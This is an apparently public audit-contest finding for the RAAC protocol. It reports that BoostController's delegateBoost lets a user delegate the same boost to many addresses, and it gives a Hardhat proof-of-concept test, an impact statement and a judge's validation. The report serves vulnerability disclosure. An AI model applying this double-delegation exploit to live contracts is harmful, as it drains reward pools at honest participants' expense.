Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Unrestricted Delegation Allows Boost Duplication

Summary

A user can delegate boost to multiple addresses without reducing their own boost, leading to infinite boost delegation. This allows a malicious actor to artificially inflate boosts, and drain emission pools unfairly.

Vulnerability Details

2025-02-raac/contracts/core/governance/boost/BoostController.sol at main · Cyfrin/2025-02-raac

The delegateBoost function does not correctly reduce the sender's available boost when delegating to another user. This allows a single user to:

  1. Delegate full boost to multiple addresses.

  2. Retain their own boost despite delegating.

  3. Create multiple boosted accounts, bypassing the intended boost limit.

Proof Of Concept (POC):

it.only("should delegate boost correctly to multiple accounts", async () => {
const amount = ethers.parseEther("500"); // Define the boost amount to delegate
const duration = 7 * 24 * 3600; // Set delegation duration to 7 days (in seconds)
// Log the initial veToken balance of user1 before delegation
console.log("Delegation started");
// First delegation: User1 delegates boost to User2
await expect(
boostController.connect(user1).delegateBoost(user2.address, amount, duration)
).to.emit(boostController, "BoostDelegated") // Expect event emission
.withArgs(user1.address, user2.address, amount, duration);
// Verify that User2 received the delegated boost
let delegation = await boostController.getUserBoost(user1.address, user2.address);
expect(delegation.amount).to.equal(amount);
expect(delegation.delegatedTo).to.equal(user2.address);
console.log("User2 Delegated Boost:", delegation.amount.toString());
// Second delegation: User1 delegates boost to User3
await expect(
boostController.connect(user1).delegateBoost(user3.address, amount, duration)
).to.emit(boostController, "BoostDelegated")
.withArgs(user1.address, user3.address, amount, duration);
// Verify that User3 received the delegated boost
delegation = await boostController.getUserBoost(user1.address, user3.address);
expect(delegation.amount).to.equal(amount);
expect(delegation.delegatedTo).to.equal(user3.address);
console.log("User3 Delegated Boost:", delegation.amount.toString());
// Third delegation: User1 delegates boost to User4
await expect(
boostController.connect(user1).delegateBoost(user4.address, amount, duration)
).to.emit(boostController, "BoostDelegated")
.withArgs(user1.address, user4.address, amount, duration);
// Verify that User4 received the delegated boost
delegation = await boostController.getUserBoost(user1.address, user4.address);
expect(delegation.amount).to.equal(amount);
expect(delegation.delegatedTo).to.equal(user4.address);
console.log("User4 Delegated Boost:", delegation.amount.toString());
});
// This will go on for an infinite amount of Users

Impact

Unlimited Reward Farming:

Users can delegate to multiple wallets and each gets full rewards, draining the emissions pool.

This results in unfair distribution, reducing earnings for honest participants.

Tools Used

Recommendations

Limit the number of active delegations per user to prevent abuse.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::delegateBoost lacks total delegation tracking, allowing users to delegate the same veTokens multiple times to different pools for amplified influence and rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.